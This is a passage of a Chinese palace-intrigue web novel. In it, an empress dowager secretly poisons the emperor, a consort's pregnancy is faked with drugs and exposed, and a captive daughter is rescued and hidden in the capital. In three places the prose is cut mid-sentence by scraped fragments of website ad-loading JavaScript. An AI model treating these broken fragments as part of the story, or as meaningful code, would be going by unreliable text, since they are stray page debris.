他冷漠地看着她:“顾家绑上朱弘辉是走错了棋,一步错不可再步步错。我虽借你父亲和中军行事,对顾家何尝不是一条退路?阿宁,朱弘辉斗不过太后,顾家一定会给自己寻一条安稳的退路。这个道理你祖父懂,你父亲也懂。我而今就是那条退路。” 他的眼神禁不住变得有些狂热,“凌云州地处特殊,原本就是太后掌权后建立的新州。朝廷只划了地,是你父亲凭借自己一己之力才让其雄踞在了大宁西北。我若为新主,你父亲大可自拥为王。 你嫁与我,便是王庭大妃。日后我们的孩子既是王庭的王,也是凌云州的王!说不得他勇武,开疆拓土!”他眼神闪动,面色异样地潮红,似乎看见了他话语中的未来。 “在大宁这十几年我明白了一个道理。”他轻声对她道,“大宁太强盛了,外部各族就如井底之蛙,只看得见他们眼界所限。一个个蹦跳着如同疯狗,总想着从这个巨人身上撕扯下一块肉来,却不知如果这个巨人举起了屠刀,他们将毫无反抗之力!” 他放开安宁走到门边打开门,让几个嬷嬷进来打扫地上的碎瓷。他回头看见她失魂落魄地坐在地上一动不动。摩诃转回了视线,安宁聪慧,她很快就能想明白,走到如今这一步,只有跟着他才是她和顾家的生路。 天气一日热过一日,到了六月初已经进入了初夏。毓德宫换下了冬日厚重的棉被和褥子,沉重的琉璃木窗被拆下,换成轻质易透风的薄纱窗。院子里摆上了好几口大铜缸,里面养着锦鲤和睡莲。 顾珂柔拿了鱼食站在半人多高的铜缸旁喂食,两只雪狼又长大了不少,围着铜缸嗅来嗅去,互相追逐打闹。 “娘娘。”陈公公过来躬身道,“施大人来请平安脉来了。” 顾珂柔将手里的鱼食交给一旁的白蔻:“请他进来。” 施良刚在花厅给顾珂柔请完平安脉,便听见通报圣上驾到的消息。他赶紧退到一旁匍匐在地不敢窥见圣颜。 朱弘辉看了一眼顾珂柔,后者轻轻点头。朱弘辉走到主位上落座:“施大人,顾昭仪身子如何?” 施良道:“昭仪身子康健,脉象沉稳,圣上不必多虑。” 顾珂柔看了看左右,沉香会意领着众人退了出去。朱弘辉这才开口:“朕今日出了养心阁觉着有些胸闷,既然施大人在此,不如替朕把把脉。” 施良叩首,膝行上前,拿了脉枕小心地放在桌上,恭谨地伸手搭在朱弘辉的手腕上。 只是搭了几息,他便抬头看向明帝。见他正居高临下地注视着他,他收回手叩首:“医道一途讲究望闻问切,臣冒犯天颜,请圣上恕罪。” 明帝点点头:“无妨。” 施良抬头,示意明帝转头,他看清他耳后淡淡地一线青灰色不由得皱紧了眉头,那颜色既浅又细,若非对毒性极为熟悉之人,见着也只觉着是耳后若隐若现的血管。他再度把手搭在了他的脉搏上。片刻后施良神情严肃地后退,猛地叩首在地:“臣斗胆,圣上最近可觉着神思困乏,比寻常易觉疲惫?” 朱弘辉和顾珂柔对视一眼,都在对方的眼底看见了沉重之色。虽然有所预料,却不曾想太后下手如此之快,不知不觉间他已经着了道。朱弘辉道:“朕这些日子确实如此。原以为是前朝压力大加之宁妃伤逝,可是有什么不妥?” “圣上,您这是中了剑藤的毒。只是下毒之人极为谨慎,毒性十分轻微,只会让您觉得较往常易困乏困倦。但天长日久下去,毒性在身体里累积到一定程度,一旦爆发便药石罔顾。” 明帝轻声开口:“施大人,你可知你在说什么?” 施良一惊,叩首不起,瞬间浑身被冷汗透湿。他转而想到今日是顾昭仪招了他进宫请平安脉,圣上此来未必是巧合。他心里转了一转便很快镇定:“臣愿为圣上肝脑涂地!” “好。”朱弘辉起身亲手扶了他起身,“爱卿,那就有劳你,一则为朕解毒,二则查清这毒的来源,三则,好好替朕看顾慧贵妃的脉象 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 施良应下:“是!” 虽然才六月,永和宫已经用上了冰。 房间的各个角落里都摆放着粗肚敞口的瓷缸,里面盛放着巨石大小的冰块。永和宫的窗户也俱都换做了轻薄的轻纱,屋里凉风习习。 慧贵妃斜倚在贵妃榻上,身旁宫女小心地拿着宫扇替她扇着风,即使如此,她心里仍然觉得焦躁得厉害。 这些日子也不知为何,她心里总是十分焦躁。她的脾气变得暴躁了许多,她只当是孕期改变,不停自我劝慰要心平气和。 孕期。她伸手轻抚自己的小腹,眼看着也有孕两月有余,不知为何小腹处仍然没有任何变化,一如既往的平坦,这让她心中惴惴不安。 “娘娘。”香巧端来切好的水果,“小厨房刚切的脆桃,您尝尝?” “香巧。”慧贵妃问贴身大宫女,“我的身子可有什么改变?” 香巧以为惠贵妃是害怕自己怀孕后身材走形不讨明帝喜欢,赶紧劝慰道:“娘娘没有任何改变,仍是那般漂亮。” “怎么会没有改变呢?”慧贵妃坐起了身子,抚摸着自己的小腹,“我见旁人怀孕,肚子都会渐渐隆起,为何我没有任何变化?”她不安地看向香巧。 “娘娘。”周公公进来传话,“张院判请脉来了。” 等张院判请完脉,慧贵妃问出了心中的疑惑。 张院判道:“胎儿在母体腹中,有前置有后置。前置者十分显怀,孕初小腹便会隆起。后置则深入腹腔,到了快瓜熟蒂落之时,看着也只有前者四五月时的胎象。娘娘此胎乃是后置。娘娘,腹大者容易在肚腹上留下纹路,如娘娘这般,待生产完毕便和生产前无异,这是娘娘的福气。” 慧贵妃闻言放心许多:“多谢张大人。” 张院判离了永和宫后,去了慈宁宫同王太后回话,提起了惠贵人的疑问。末了道:“太后,孕初尚可用此法子解释。这再往后若娘娘肚子没有变化,只怕她自己会察觉。” 王太后淡漠地开口:“那药还给她用着没有?” “要维持怀孕的脉象,那药一直私底下给娘娘用着。”张院判回道,“只是此药会强压着她的身子不来葵水,娘娘的性子会变得越来越暴躁。” “无妨。”王太后道,“我记得你曾经提过,你手上有个方子,吃了会让人食欲大开?” “是。”张院判恭敬回答,“这方子会让人一直觉得饿,不知不觉就会吃下许多东西。” “给她用这个吧。”王太后道,“瑶儿太瘦了。等她胖起来,肚腹自显,她也不会再想东想西。” 张院判暗暗心惊,慧贵妃也已经被放上了祭台,等那个不存在的胎儿落地那日,同样也是她的死期。太后不会允许再出现一个新的“太后”同她夺权。 王太后垂下眼眸:“圣上最近身子如何?” 张院判恭谨回答:“娘娘放心。送去御膳房的药材都是臣亲自挑选监督过手。每日里那边都严格按照臣的方子做着药膳。” 王太后点了点头:“自你祖父起便一直为王家做事,你父亲致仕前也一直伴着哀家。这整个后宫唯有你是哀家真正可信之人。辉儿的身子和贵妃的胎,就劳你多费心了。”王太后看着窗外,如今是六月。算一算时间,等到过年时,便是这个孩子呱呱落地之时。到了那时候…… 她走到窗边看向太极殿的方向,既然小猫不听话,那就换一只罢。 68. 67 丑中。 清冷的银月悬挂在墨色的天空中,整座开阳城已经陷入了沉睡。由于宵禁的原因,这座沉睡的大城街道上没有一个行人,四处门户紧闭一片昏暗,唯有城门楼、衙门、商栈和城主府还点着灯笼,在漆黑的夜里散发着点点微光。 就在这样的寂静中,一群身着软甲手持武器的人悄无声息地从暗处现身,将城南那座两进的院落团团包围。 为首的人抬头看了一眼府邸的大门,对着身后的人一挥手,其余的人从怀里掏出带着绳索的铁爪扔上墙头,不过几个起落间,一群人就越过高墙进入了院内。 他们贴着墙根在暗影的笼罩下穿行,遇到府里巡逻的侍卫,这帮人快速出击,三下五除二就将侍卫们放倒,很快他们就摸到了后院。 安宁睡得不实,房间的门被轻轻推开的瞬间她便惊醒了过来。外间的几个嬷嬷丝毫没有察觉还在沉睡着,被进来的人一掌打晕,往嘴里塞了布团反手捆了个结实扔在地上。 安宁起身,借着从窗外透进来的月光摸到妆台旁,抓起自己的发簪握紧横在胸前,将自己整个人隐没在墙角屏风的阴影里。 出乎她的意料,进来的人并没有虎狼般扑向床榻,反而在门口处站定,轻轻开口:“县主?” 安宁鼻子一酸,从屏风后现身。来的不是旁人,是她自小便跟在她身旁的侍卫总领刘金虎。借着微弱的光彼此认出了对方,刘金虎单膝跪地:“小的来迟,让县主受委屈了!” 安宁说不出话来,只得上前扶起他,指了指自己的喉咙,无力地张了张嘴。 刘金虎心中一沉,然而此时不是耽误的时候。他轻声对安宁道:“得罪了。” 说罢将安宁背在了自己背上,拿准备好的粗布捆了个结实。 他人高马大,小巧瘦弱的安宁在他背后并不起眼。院子里一众护卫正紧张地警戒着,见他成功救出了安宁,心中都是一松。众人也不声张,悄无声息地搭上人梯,送刘金虎翻出了院墙,这才一一接连跟着,如来时一般如法炮制,用飞爪离开。 城主府的后院主屋亮着灯,李月桦正焦急的等待着。忽然听见院子里传来脚步声,她迫不及待地迎上前,见丈夫怀里抱着一个娇小的身影,正大步穿过夜幕。 顾林书进了内室,李月桦将门窗紧闭,这才返身去看,见丈夫放下了怀里的女孩,正小心翼翼地替她解开脸上的赤金面罩。待看清女儿的样子,她再压不住内心的情感落下泪来,上前紧紧将女儿拥入怀中:“宁儿!” 安宁同样泪如雨下,紧紧抱着母亲。李月桦心疼地捧起女儿的脸,替她擦拭着脸上的泪水,顾林书蹲下身,拿起她脚上的脚镣看了看,转身从一旁的墙上取下自己的配刀,吩咐妻子避让到一旁,只听见一声钝响,铁链应声而断。 面罩、脚镣。李月桦气得双眼通红,无法想象女儿经历了怎样的折磨。她抖着手握住女儿的双肩:“宁儿,你受苦了。” 安宁看着她只是落泪。 李月桦察觉了异样:“你怎么不说话?” 顾林书沉重地开口:“她被人下了药,如今说不出话来。” 李月桦身子摇了摇,再绷不住:“我可怜的宁儿,我苦命的女儿!”她将女儿抱进怀里,恨不得所有的苦难她都能替她承受。 “宁儿。”顾林书走到安宁身旁,伸手轻轻揉了揉她的头顶,心疼地看着她,“如今家里你不能久留。我今夜将你从摩诃手中救出,他势必能想到是我所为。若他将你尚在人世的消息放出去,妃嫔假死,咱们难以辩解洗清罪行,这是灭九族的重罪。为父只能先寻个地方将你安顿。” 安宁看着父亲点了点头。摩诃便是因着这一点,所以有恃无恐地留在了开阳城。在他看来,顾家投鼠忌器,断然不敢将安宁救走。他低估了顾林书夫妇对女儿的爱,也高估了自己对形式的判断。 李月桦万分不舍,却也知道形势紧迫。 顾林书转身看向身后,刘金虎仍是一身黑衣软甲的打扮:“老爷。” “县主就交给你了。”顾林书轻声交代,“车已备好。你带着县主从北门出城,赶回京城。无论听到什么样的消息,都不可让县主现身。到了京城去寻大老爷,我已飞鸽传书过去,他自会将你们安顿。” 安宁自然知道父亲母亲冒了多大的风险才做出这样的决定。她泪眼朦胧地下跪,结结实实给父母磕了三个响头,这才随着刘金虎连夜离开。 天亮之后,摩诃来到城主府递了拜帖。 顾林书在偏厅见了他。 摩诃一早去后院寻安宁,见门户大开,几个嬷嬷被人堵住嘴捆住手脚扔在地上。府里夜巡的侍卫尸体也在墙角处被发现。他没有声张,只是抽刀结束了几个嬷嬷的性命,便换了身衣服来见顾林书。 “城主杀伐果断。”摩诃起身行礼,“小侄好生佩服。” 顾林书落座。这么多年身居高位,他早已有了上位者不怒自威的气质。他看着眼前的少年,他还不到二十,已经如此老辣。若他是宁人,大宁又添一员虎将。可惜了,他的身体里流的是王庭的血液。 “中军在凌云州驻军二十万。”顾林书不疾不徐地开口,“五万在内围场,五万在外围场,八万散在七城巡防,还有两万散在外部。”他说的都是明面上众所周知的数字,“外部的两万人可以整合供你调遣。” 摩诃还价:“五万。” 顾林书没有抬头:“外部虽然人马众多,但是各个部落各自拥兵为重。这两万人马不是乌合之众,汇聚到一起,骤然突袭王庭也并非没有胜算。” 摩诃没有说话,他自然不会带人一路打过去。他要做的是领着人用最快的速度在几大部落里走一圈,凭借这些兵力得到各部落的支持,唯有必要时才会速战速决杀鸡儆猴。 “三万。”摩诃退而求其次,“但是需得配备三万人马的粮草辎重。” 顾林书抬起了眼睛看他。 他还活着站在他面前的重要原因是他没有碰过安宁。从某种意义上来讲,他也确实从王太后手中救了安宁一命。 顾林书露出了一个微笑:“好。” 月中了。 月亮从一轮新牙渐渐变成了一轮圆月。十五的晚上,明帝到了永和宫和慧贵妃一起用晚膳。 这些日子慧贵妃整个人看着丰腴了不少,原本的瓜子脸圆润了许多。先前进宫的衣裳都穿不下,内务府赶着给做了好多宽大的衣裳。 见明帝盯着自己打量,慧贵妃放下手里的筷子有些羞赧:“圣上不要再看臣妾了。臣妾这些日子也不知为何,总是想吃东西,这身子就……就胖成了这般。” “有了身孕能吃想吃是福气。”朱弘辉温言安慰,“你如今是双身子。正是需要调理的时候,不要顾虑旁的。” 慧贵妃低头莞尔一笑。从她有了身孕后,明帝待她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和往常大不相同,让她渐渐地安心了许多。如今她虽然胖了些许,看着渐渐隆起的腹部,心里的石头也落了地。 她也不知自己在害怕什么。 “圣上。”黄大伴进门行礼道,“施大人到了。” “让他先在外厅候着吧。”朱弘辉道,“待朕陪贵妃用完膳再请脉。” 黄大伴躬身应下:“是。” 慧贵妃心里喜悦更甚,亲手夹了一筷鹿肉给明帝:“圣上尝尝这个。” 待用完晚膳,明帝看了眼外面的天色:“眼下月色正好,爱妃不若同朕一同赏月?” 慧贵妃看明帝的意思似是要留宿永和宫。她怀孕后便撤掉了绿头牌,但明帝仍会三五不时的在宫里留宿,这让她十分欢喜。 两人去了后院赏月,沿着小道一路漫步,走到了锦鲤池边。 池塘中的锦鲤见着灯光纷纷往岸边聚拢,翻起了水花向岸上的人讨食吃。 慧贵妃从宫女手中拿过了鱼食洒下去,锦鲤便翻腾得更加欢实。 朱弘辉想起了太师府后院隔着两座院墙,在夜色下挑着灯笼喂鱼的少女。她进宫时他还曾答应过她,等到天气转暖便在毓德宫里挖一方池塘,养上她喜欢的各式锦鲤。 如今天气已暖,人却永远的不在了。 一股剧痛袭上心头,疼得他浑身麻痹。他的身子不由得晃了晃,又用力握紧拳头控制自己的心绪。 慧贵妃回过头见明帝骤然面色苍白,不由得关切地询问:“圣上可是身子不舒服?您怎么看着面色这般苍白?” 明帝道:“方才突然觉着心悸。” 慧贵妃将手里的食盒递给了一旁的宫女,过来搀扶明帝:“正好施大人还在外间候着,不如先回去让他请个脉。” 她扶着他,毫无防备地站在池塘边。明帝的眼眸沉了沉,似是身体不适骤然朝她倒了过去,她如何能撑得住他,当下啊了一声,仰天摔进了池塘。 “娘娘!”一旁的宫女吓得亡魂皆冒,恐惧地大喊,“快来人啊!娘娘落水了!” 慧贵妃在水里扑腾着沉沉浮浮。闻讯赶来的太监前仆后继地跳进池塘,终于将惠贵妃救了起来。 “什么?!”慈宁宫里,王太后变了神色,厉声喝问前来报信的周公公,“你说什么?!” “太后,您快去救救我们娘娘吧!”周公公不停地叩首,将额头磕出了鲜血,“今儿个晚上娘娘和圣上在后院赏月不慎落水,正好施大人来给圣上请平安脉,就请了施大人施救。谁知……谁知施大人诊出娘娘没有身孕,后又请了周大人王大人复诊,皆都……皆都是这个结论。如今圣上龙颜大怒,怒斥贵妃娘娘假孕争宠,废了她贵妃的封号降为才人,还要将她送去冷宫……太后,我们娘娘如何会假孕争宠?!求您救救我们娘娘啊太后!” 王太后只觉着一股气憋在胸口,上不来也下不去,石头一般梗在那里。她冷笑了几声:“好,很好!” 万万没想到,她竟然低估了小猫。他竟然能想到法子从慧贵妃身上破局。 他是如何发现慧贵妃假孕的?既然他发现了贵妃假孕,是否代表着他也发现了身上的毒? 想起朱弘辉那人畜无害的温和模样,想起他在她面前的顺从,真没想到暗地里是只狡猾的狐狸! 王太后沉了眉眼,如今她不能不去永和宫,那她就去当面会一会这只撕破了面具露出真面目的小狐狸。 69. 68 王太后到永和宫的时候,朱弘辉正面无表情地坐在正殿主位上,慧贵妃面色苍白满脸泪痕,跪在地上抱着他的腿仰头看着他苦苦哀求。地上满是碎瓷和水渍一片狼藉。宫人们低着头噤若寒蝉,努力贴着墙根站着,恨不得自己能变成墙上的挂饰。 见着王太后,朱弘辉起了身:“母后。” “姑母!”慧贵妃如同溺水的人看见了浮木,转而奔向她求救,“姑母,瑶儿不曾假孕争宠,求姑母救我!”说罢在地上不停用力磕着头。 王太后看了眼身旁的王大伴,后者赶紧上前扶住了她:“娘娘,您仔细自个儿的身子。太后这不是来了吗?您稍安勿躁。” 慧贵妃闻言如死灰般的眼睛里又燃起了几点希翼,听话地退到一旁,无声地抽噎着。 明帝扶了太后落座,冷眼看了一眼慧贵妃:“母后,自听闻慧贵妃有孕后,儿臣大喜,也解了许多因宁妃骤然离世的伤怀。这些时日,儿臣因着她有孕,对她多番怜爱,满心盼着她能诞下第一个皇子或公主。万万没想到,她竟然假孕争宠!” 他说到这里满是愤懑,一张脸涨得通红,紧紧捏着拳头愤恨地看着一旁的慧贵妃。她闻言拼命摇头辩解:“臣妾不曾!臣妾冤枉啊圣上!” 明帝极为厌恶地转过了视线:“亏得朕这些日子将心思都放在你身上!你已是惠妃,又有王家嫡女的身份和母后护着你,缘何还要做出这般的事情来?你就这么迫不及待地想要做皇后?!皇后母仪天下,兼是朕的枕边人!你这般阴毒算计朕,哪儿有半点资格!” 听了明帝的话,慧贵妃几欲昏厥,声声泣血:“圣上,臣妾冤枉!” 明帝面色苍白地晃了晃,捂住自己的心口站不稳地后退了一步。一旁的黄大伴和王大伴赶紧上前扶住他:“圣上,爱惜龙体!” 王太后问王大伴:“可去太医院宣了张院判?” 王大伴躬身道:“来时的路上就已经命人去传了话,想着也快要到了。” 王太后对明帝道:“慧贵妃的事情先压一压,等张大人到了再论,你的身体要紧。”她的视线落到一旁跪在地上的一众太医身上,视线一一从周之、施良、王冲等人身上扫过:“还不快来看看圣上如何了?” 官职最高的周之行了一礼,膝行上前握住了明帝的脉搏,片刻后道:“圣上是急怒攻心,加之原本就肝气不舒,这会儿怒冲心脉方才如此。待下官替圣上施针先稳住心脉。” 周之拿出了银针一一扎在明帝双手的穴道上,明帝闭着眼睛靠坐着一动不动,面色依然不好。 张院判终于赶到了永和宫,一看见他慧贵妃便扑了过去紧紧抓住他的胳膊状若疯魔:“张大人,你快告诉圣上,我不曾假孕争宠,我是怀了身孕,是你诊出来的啊!” 张院判跪地同明帝和太后行礼,不敢去看慧贵妃。太后给了王大伴一个眼神,后者过去拉开了她:“娘娘,您别急,别急。” “今儿个出了点意外,太医院旁的几位大人诊出了慧贵妃没有身孕。”王太后冰冷地看着张院判,“她的身孕是你诊出,此后也是你一直在替她请平安脉。张大人,你且说说,这是怎么回事?” “老臣有罪!”张院判颤巍巍地叩首,随即道,“臣从诊出娘娘有孕开始,每日悉心将脉案一一记录在案,不知施大人如何诊出娘娘乃是假孕?” 施良上前行了一礼:“张大人,贵妃娘娘的脉象初诊确实极像喜脉。喜脉有力快速、往来流利如珠滚玉盘。但贵妃娘娘的脉象,若诊得久一些,就会发现其有发涩停滞,如探水底细沙,此乃月事不调的症状。 娘娘的脉象如此往复,下官不敢擅专,因此从太医院请了诸位同僚前来会诊。依下官所见,似是用药物强行催出了喜脉的脉象。初时脉象不显,只是此法有违天和,强行压制葵水,时日久了脉象中才会显出月事不调的症状。” 王太后冷淡地看着张院判:“你再诊看看,是否如他们所言。” 张院判叩首应下,闻言心头一松,知晓太后是舍弃了慧贵妃选择保自己。他当下心里有了决断。 他没有看慧贵妃充满希翼和求救的眼神,拿来脉枕枕在她的手腕下,闭上眼睛细心诊脉。 他自然知晓施良说的事情属实。此药头几月催出的脉象同喜脉没有任何区别,但是强行压制葵水会导致经脉不舒,慢慢地就会显出月事不调的症状来。初时极为轻微,越到后期越明显,待到了七八月便完全压制不住。 他们原本的计划也并非让这个“孩子”足月落地,能拖则拖,拖不过时就布局再用药催出一副骤然早产的戏码,让慧贵妃在生产中血崩而亡。 他作势诊脉良久,猛地收手惊惧地看着慧贵妃。看见张院判的神情慧贵妃心里咯噔一声,见他扭头跪倒在地叩首:“微臣有罪!” 王太后沉声问道:“如何?” 张院判道:“娘娘脉象……诚如施大人所言。微臣死罪!”说罢叩首在地不起。 “你!”慧贵妃骤然站起身,指着张院判怒叱一声,随即身体一晃,气急攻心晕了过去。 下人们顿时乱做一团。众人将慧贵妃抬去了内寝安置在大床上,张院判跟了进去替她诊治。 此时施良方才施针完毕,将银针一一拔除,朱弘辉也睁开了眼睛。 “是哀家对不住你了。”王太后愧疚地看着明帝,长叹一声,“哀家愧对你,愧对先帝,对慧贵妃教养有失,才让她做出这样的错事来。” 王太后知道失了这一局,却还想保住王洛瑶这枚棋子。 “母后。”明帝劝慰道,“是她自己失了德行,同母后有何干系?”他神色愤恨,“朕恨的是大悲中大喜,却原来只是镜花水月,一切都是她为了自己的利益对朕的欺骗和算计!” 他说着话面色又变得苍白,捂着心口痛苦地紧皱眉头,王太后转头吩咐王大伴:“快请张院判来。” 张院判将慧贵妃交给了旁人,自己匆匆转出来替明帝诊脉。他回的话同周之没有太大区别:“回禀太后,圣上是气怒攻心,心脉不畅。” “传朕的旨意。”明帝捂着心口,微微喘息着道,“慧贵妃夺去贵妃封号,降为才人!”他看了一眼太后,似是终究顾念慧贵妃是太后的亲侄女,不再提将她打入冷宫之言,“禁足永和宫,非召不得外出!” 王太后回了慈宁宫后,换了一身常服在东暖阁假寐。过不多时王大伴来报:“太后,张太医求见。” 王太后没有睁眼:“让他进来。” 张太医一进暖阁便双膝跪地:“臣有违太后嘱托,请太后降罪!” “罢了。”太后不疾不徐道,“事已至此,多说无益。只是你这院判的位置,得让一让了。出了这样的纰漏,总得罚一罚你,才能让旁人服气。” 张太医恭谨道:“臣全凭太后责罚!” 王太后睁开了眼睛:“辉儿身子如何?” 张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太医不敢抬头:“圣上每日里服着药膳,每个人体质都有差别,圣上有心悸之状,恐是药膳所致。” 王太后冷冰冰地盯着张太医:“依你之言,旁人没有察觉?” “回禀太后。”张太医在慧贵妃的事情上已经失了太后的心,此刻尽力替自己圆说,“剑藤极为罕见,知晓其作用的人凤毛麟角。加之药膳中的分量极为轻微,以年计方可有效。如今单从脉象上看,极难察觉。微臣今日替圣上诊脉,不见其曾有拔毒之状。” 王太后长长地舒了一口气,神情和缓了不少:“辉儿的身体,就有劳张大人了。” 张太医叩首不起。 明帝去了毓德宫。 见明帝面色苍白,顾珂柔赶紧上前搀扶,担忧地看着他:“圣上?” 朱弘辉摆了摆手,示意她回了内殿再说。 顾珂柔扶着他进了内室落座,自己亲手给他奉上了热茶。明帝轻轻握住顾珂柔的手:“朕今日查实了慧贵妃假孕,废了她为才人,禁足永和宫。” 顾珂柔柔声道:“恭贺圣上,暂且除了这块心病。” 王氏和太后没了这个胎儿,就不得不暂缓对他的计谋。毕竟这天下还是姓朱,她自己无法真正坐上那个位置。 “幸得你提醒,没有让施良为朕拔毒。”朱弘辉道,“否则今日在太后面前就露了马脚。” 然而这也不过是缓兵之计,太后一计不成,必然还有一计。眼下破了局,却不知太后下一步棋落在何处。 不可一味等待下去,趁着慧贵妃这次的事情,他应乘胜追击。 夕阳西下,刘金虎领着的车队赶在京城西城门关闭前入了城。 接到消息的顾林颜早派了心腹在城门处候着,见到车队便领了众人去了他在城西安顿的宅子落脚。 车队特地趁着街上还热闹在市集里绕了几圈,然后停在了一个酒肆门口。安宁戴着帷帽下车进了酒楼却并未停留,在众人掩护下一路穿行至后门,这里早备下了一辆不起眼的青木马车。后街空无一人,安宁匆匆上了车,这才驶去西郊的宅子。 马车径直从侧门进了院子,一直到二门前才停下。车门被打开,安宁一抬头,惊讶地看见大伯母正站在那处,她眼眶一红,眼睛里蓄积起满满的泪水。 苏婉仪伸手握住安宁的手,亲手扶了她下车,护着她往里走:“路上可辛苦?” 安宁摇头。苏婉仪已从信中知道她不能说话:“这边我都已经安顿好。这宅子僻静,四周都是大宅,原是你大伯父同僚们夏日避暑之所。如今时兴去城外的砚山度夏,这边的宅子就都空了下来,主家很少露面,但每个宅子都有人打理,有人气又不嘈杂,各自紧守门户,正适合你暂住。” 安宁进了屋,见正厅里早已有一人候着。苏婉仪对那人道:“有劳施大人多候。这是我娘家的亲侄女儿,在家时误服了药物,好好地孩子如今说不出话来。家里人着急,车马劳顿地送了她入京,想着能不能再寻名医试试。这才劳烦大人。” 来人正是太医院的施良。施良闻言行礼道:“下官定然竭尽所能。” 安宁覆盖着全覆面的面纱,不能窥见她容貌半分。眼下夕阳西沉,侍女们也只在屋角点了盏灯,房间里灯光昏暗,越发看不清她。施良也不好多打量未出阁的姑娘,拿了脉枕放在桌上,用薄纱搭在她的腕间替她诊脉。 片刻后施良收了手,苏婉仪紧张地看着他:“大人,如何?” 70. 69 施良道:“姑娘误服的药物,还好有法子挽救,且时日不久,只是暂时失语。我这就开个方子,照方先服半月。” 苏婉仪闻言大喜:“多谢施大人!” 苏婉仪身边的大丫鬟随施良出去拿方子抓药,待院子里再无旁人,苏婉仪才解了安宁的覆面:“你先在这儿住着安心把嗓子调养好。这院子里的都是家里用老了的人,于嬷嬷留在这里管事。若是有什么事情,你就同于嬷嬷讲一声,让她通知家里。对外咱们就说你是我娘家的亲侄女,进京治病。这边宅子只有你和嬷嬷,自然闭门谢客,你不用担心。” 安宁感激地起身行礼,被苏婉仪拦住,伸手将她拉进怀里,爱怜地摸了摸她的头发:“都是自家人,不必如此多礼。现在你就好好调养身体,旁的不要多思多虑。” 安宁点了点头。 启祥宫,淑妃一早起身就觉得身体有些不适,宣了周之来请平安脉。周之搭脉片刻就惊喜地抬起了头:“恭喜娘娘,贺喜娘娘,娘娘有喜了!” 淑妃一怔:“当真?” 周之喜道:“千真万确!只是月份尚浅,如今还不足两月。” 在一旁的大宫女予瑶闻言也喜笑颜开同淑妃道喜:“恭喜娘娘,娘娘大喜!” 淑妃摆了摆手示意两人不要声张,她往外看了一眼,见没有旁人方才压低了声音开口:“予瑶,你同小丁子说一声,让他去请顾昭仪过来。” 见予瑶应声去了,她又嘱咐周之,“三哥,此事先不要叫旁人知晓。” 周之一愣:“娘娘的意思,是先不要让太后和圣上知道?” 淑妃知道自己这个堂兄医术了得但为人木讷,点了点头找了个说辞:“慧贵妃假孕的事风波未过,眼下爆出我有身孕,岂不是打她的脸?平白的得罪王氏,惹他们嫉恨。再者不是都说头三月胎象不稳?我想着等胎象稳固了再告知太后和圣上,免得万一再出什么纰漏,竹篮打水一场空。” 周之走后,淑妃在宫里坐着,手轻轻放在小腹处,眉头紧锁,神色间并没有知道怀孕后的喜悦,反而满腹心事。 见到顾珂柔进门,她的神色才松了少许,屏退了左右紧锁门窗拉了她落座,看着她的眼睛轻声道:“我怀孕了。” “什么?”顾珂柔一惊,神色间果然也都是惊色,并没有喜悦之情。淑妃察言观色,拉着她的手慎重地问:“你我是不是情同姐妹?” 顾珂柔点头:“在我心里,你和宁儿一样,都是我的嫡亲姐妹。” 淑妃盯着她:“这个孩子来得不是时候,是不是?” 周姠聪慧,恐怕从明帝即将亲政、宁妃骤然离世、慧贵妃假孕的事情里已经窥出了一二。顾珂柔也不瞒她:“姐姐,眼下有了这个孩子,你和圣上怕是都入了险地。” 淑妃缓缓叹了口气,慢慢垮下了双肩,悠悠道:“我便知道,这个孩子来得不是时候。” 她扭头看了窗外半晌,回过头看着顾珂柔,神色变得坚毅,“柔儿,咱们也得拼一拼争一争了!虽说进了宫,本就不能独善其身,可咱们如今是时刻引颈活在铡刀之下。”她看了眼慈宁宫的方向,握住了她的手,“咱们得活下去,也要让我们以后的孩子们好好活下去!” 周之放好了淑妃的脉案离开了太医院。他前脚刚走,张潮后脚就进了房间。他虽然已不是院判,但谁都知道他是太后的心腹,如今的惩罚也不过是一时之失,众人对他依旧十分尊敬。 他看了眼周之的背影,问一旁的医官:“周大人这是刚从宫里回来?” “是。”医官恭敬回答,“周大人刚去给淑妃娘娘请了平安脉。” “脉案呢?”张潮问,“拿来我看看?” 医官有些为难:“周大人并未将淑妃娘娘的脉案交给下官。” 张潮冷哼了一声,挥了挥手,那医官忙不迭地退了出去。张潮走到周之的木桌旁,粗鲁地翻找了一番,在柜子里找到了淑妃的脉案。他打开刚看了两眼,脸上就露出了喜色。 城西的宅子里,安宁见到了祖父顾仲堂。 她央求苏婉仪替她带话,求见祖父一面。 趁着夜色,顾仲堂悄无声息地来到了此处。 顾仲堂感慨地看着眼前的小姑娘。安宁长年跟随父母生活在凌云州,爷孙两相处的时间并不多。同这个骄蛮之名在外的二孙女相比,他更中意从小在身边悉心培养的大孙女顾珂柔。只是人算不如天算,当今圣上在太师府出入良久对温婉端庄的顾珂柔视若无物,偏生对进京不久的顾安宁青眼有加。 安宁恭恭敬敬的行了大礼。顾仲堂抬了抬手示意她起身落座:“你想要见我,所为何事?” 桌上备好了笔墨纸砚。安宁提笔,写下自己要说的话,呈给祖父看:我要见圣上。 顾仲堂皱起了眉头,严厉地看着安宁:“你可知宁妃已葬入妃陵,如今的你假借了旁人的身份才得以在此落脚?你的事情如果透露出去,对顾家而言就是灭顶之灾?” 安宁提笔:若太后知晓,才是灭顶之灾。 顾仲堂看了这句话,沉吟不语。 他抬起了眼睛,仔细看着眼前的安宁。 她承袭了父母的美貌,是难得一见的美人儿。可是若单论容貌,顾珂柔同她相比,也并没有逊色多少。宫里的慧贵妃、淑妃、姚昭仪等等同样姿色出众。安宁美则美矣,到底年岁未到略显稚嫩,还未有倾国倾城之色。 圣上偏宠安宁,朝野内外都知晓,甚至一度将她传做了妖妃,把顾家拱到了风口浪尖上。可天子的宠爱,有几分真几分假?是一时兴起,还是真心相待?天子身边绝色莺莺燕燕围绕不绝,宁妃辞世后,明帝虽然哀恸,也不过半月光景就打起了精神。 更何况,如今天子身边还有顾珂柔,顾家值不值得去冒这么大的风险? 安宁提笔又道:是太后给我下的毒。 顾仲堂看着这句话,眯起了眼睛。 